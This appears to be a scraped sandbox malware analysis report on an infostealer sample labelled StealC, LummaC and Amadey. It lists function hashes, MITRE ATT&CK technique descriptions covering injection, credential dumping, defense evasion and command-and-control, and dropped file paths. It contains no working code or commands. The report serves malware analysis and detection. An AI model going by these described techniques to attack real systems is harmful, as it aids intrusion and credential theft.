Instruction ID: 0c3231226d6b2b3a527619dcc08e6164a4fafcc19f94aab6dc14dc2c5ea58878
Opcode Fuzzy Hash: 428b37146f2ab8bbef251fdb989594d24ae2c5b49c4db8728953df82dacde34d
Instruction Fuzzy Hash: A2E0FE75908316AF9A08CF45C14444EFBE5BFC4714F11CC8DA4D863210D3B0AD46DF82

Non-executed Functions

Function 0134FF51 Relevance: 1.4, Strings: 1, Instructions: 119COMMON

Download Yara Rule

Strings

4, xrefs: 0134FF70

Memory Dump Source

Source File: 00000007.00000003.2726065382.0000000001348000.00000004.00000020.00020000.00000000.sdmp, Offset: 01348000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_3_1348000_d657e56348.jbxd

Similarity

API ID:
String ID: 4
API String ID: 0-4088798008
Opcode ID: b8da6e05756da2136828a4be3068690c811ab59bbf316164b854c68685837c9f
Instruction ID: 08565ac6856df9dad7b7ac5e60790283e716ceb064481ba861c4c5fdc5912eb6
Opcode Fuzzy Hash: b8da6e05756da2136828a4be3068690c811ab59bbf316164b854c68685837c9f
Instruction Fuzzy Hash: EC4123A144E3C19FDB5347748C286827FB46F27214B4F50DBC180CF5B3E19A584AEB22

Function 05FA1DCE Relevance: 1.4, Strings: 1, Instructions: 109
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

cF{w, xrefs: 05FA1E0A

Memory Dump Source

Source File: 00000007.00000002.2809093760.0000000005F93000.00000040.00000800.00020000.00000000.sdmp, Offset: 05E00000, based on PE: true

Associated: 00000007.00000002.2808755399.0000000005E00000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2808879157.0000000005E02000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2808982500.0000000005E06000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2809093760.0000000005E0A000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2809093760.00000000060A1000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2809093760.00000000060B0000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2809093760.00000000060B2000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_5e00000_d657e56348.jbxd

Similarity

API ID:
String ID: cF{w
API String ID: 0-2120888865
Opcode ID: 9ee7e728116ab60be2852d696938e08ab8423e2bc36b83d0b476c53f47e65ba9
Instruction ID: c9de55000a8185314dfc0ceba6663e58c4728008e3a416524ea1d5497d49c115
Opcode Fuzzy Hash: 9ee7e728116ab60be2852d696938e08ab8423e2bc36b83d0b476c53f47e65ba9
Instruction Fuzzy Hash: 8B31CFF3A0C708DBE200FA29DC85A3AB7EAAB94610F17853DD6D687345E7386514C687

Function 013CC825 Relevance: .4, Instructions: 375COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000003.2515402406.00000000013C2000.00000004.00000020.00020000.00000000.sdmp, Offset: 013C2000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_3_13a8000_d657e56348.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1ca4970882ef3cc577a0a97ca4dbc41e394a246bdfd140b52ec74e4b05b42b20
Instruction ID: c906c7e76084151c2e6fae93f1a68a9795e750035d999f330a4c422113e5432f
Opcode Fuzzy Hash: 1ca4970882ef3cc577a0a97ca4dbc41e394a246bdfd140b52ec74e4b05b42b20
Instruction Fuzzy Hash: FEE1756690E7C15ED31387B85928AA13FB19F53618B0F91EBC1C8CF0E3E629584DC726

Function 013CC825 Relevance: .4, Instructions: 375COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000003.2515402406.00000000013C2000.00000004.00000020.00020000.00000000.sdmp, Offset: 013CB000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_3_13a8000_d657e56348.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1ca4970882ef3cc577a0a97ca4dbc41e394a246bdfd140b52ec74e4b05b42b20
Instruction ID: c906c7e76084151c2e6fae93f1a68a9795e750035d999f330a4c422113e5432f
Opcode Fuzzy Hash: 1ca4970882ef3cc577a0a97ca4dbc41e394a246bdfd140b52ec74e4b05b42b20
Instruction Fuzzy Hash: FEE1756690E7C15ED31387B85928AA13FB19F53618B0F91EBC1C8CF0E3E629584DC726

Function 013CC905 Relevance: .3, Instructions: 319COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000003.2515402406.00000000013C2000.00000004.00000020.00020000.00000000.sdmp, Offset: 013C2000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_3_13a8000_d657e56348.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4fe457d0c095baa15c090830192abc8ccfba937237420268ddb4cea43697264a
Instruction ID: 8a41c0777bed9e00fc9be33bc8d40bea51332cf3881ca48f149fb42731ec9029
Opcode Fuzzy Hash: 4fe457d0c095baa15c090830192abc8ccfba937237420268ddb4cea43697264a
Instruction Fuzzy Hash: 86C1666690E7C15ED31383B89868AA13FB19F53618F0F91EBC1C8CF0A3D669584DD726

Function 013CC905 Relevance: .3, Instructions: 319COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000003.2515402406.00000000013C2000.00000004.00000020.00020000.00000000.sdmp, Offset: 013CB000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_3_13a8000_d657e56348.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4fe457d0c095baa15c090830192abc8ccfba937237420268ddb4cea43697264a
Instruction ID: 8a41c0777bed9e00fc9be33bc8d40bea51332cf3881ca48f149fb42731ec9029
Opcode Fuzzy Hash: 4fe457d0c095baa15c090830192abc8ccfba937237420268ddb4cea43697264a
Instruction Fuzzy Hash: 86C1666690E7C15ED31383B89868AA13FB19F53618F0F91EBC1C8CF0A3D669584DD726

Function 013CC900 Relevance: .3, Instructions: 270COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000003.2515402406.00000000013C2000.00000004.00000020.00020000.00000000.sdmp, Offset: 013C2000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_3_13a8000_d657e56348.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0920e236dcec79fe25e867f3a1bf007b9931026a697e6eed7438d6fad250fe2d
Instruction ID: 3b73f183e4c03615736d72b19596e1d9d1f89f7f8298220ffaacf48ab7fd24c5
Opcode Fuzzy Hash: 0920e236dcec79fe25e867f3a1bf007b9931026a697e6eed7438d6fad250fe2d
Instruction Fuzzy Hash: B1B1776691E7C15ED31383B89868AA43FB19F43618F0F91EBC1C8CF0A3D669584DD726

Function 013CC900 Relevance: .3, Instructions: 270COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000003.2515402406.00000000013C2000.00000004.00000020.00020000.00000000.sdmp, Offset: 013CB000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_3_13a8000_d657e56348.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0920e236dcec79fe25e867f3a1bf007b9931026a697e6eed7438d6fad250fe2d
Instruction ID: 3b73f183e4c03615736d72b19596e1d9d1f89f7f8298220ffaacf48ab7fd24c5
Opcode Fuzzy Hash: 0920e236dcec79fe25e867f3a1bf007b9931026a697e6eed7438d6fad250fe2d
Instruction Fuzzy Hash: B1B1776691E7C15ED31383B89868AA43FB19F43618F0F91EBC1C8CF0A3D669584DD726

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: LummaC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_7208c9365d.exe_b13b16bc973381cab0fb389c6926af9cc423f5db_c9fa232f_c3b3fb54-688e-4a77-89c5-8b6ecb02604c\Report.wer

C:\ProgramData\Microsoft\Windows\WER\Temp\WERBD9A.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WERC106.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WERC146.tmp.xml

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\c459772a8a.exe.log

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[1].exe

Windows Analysis Report
file.exe

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. These services, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre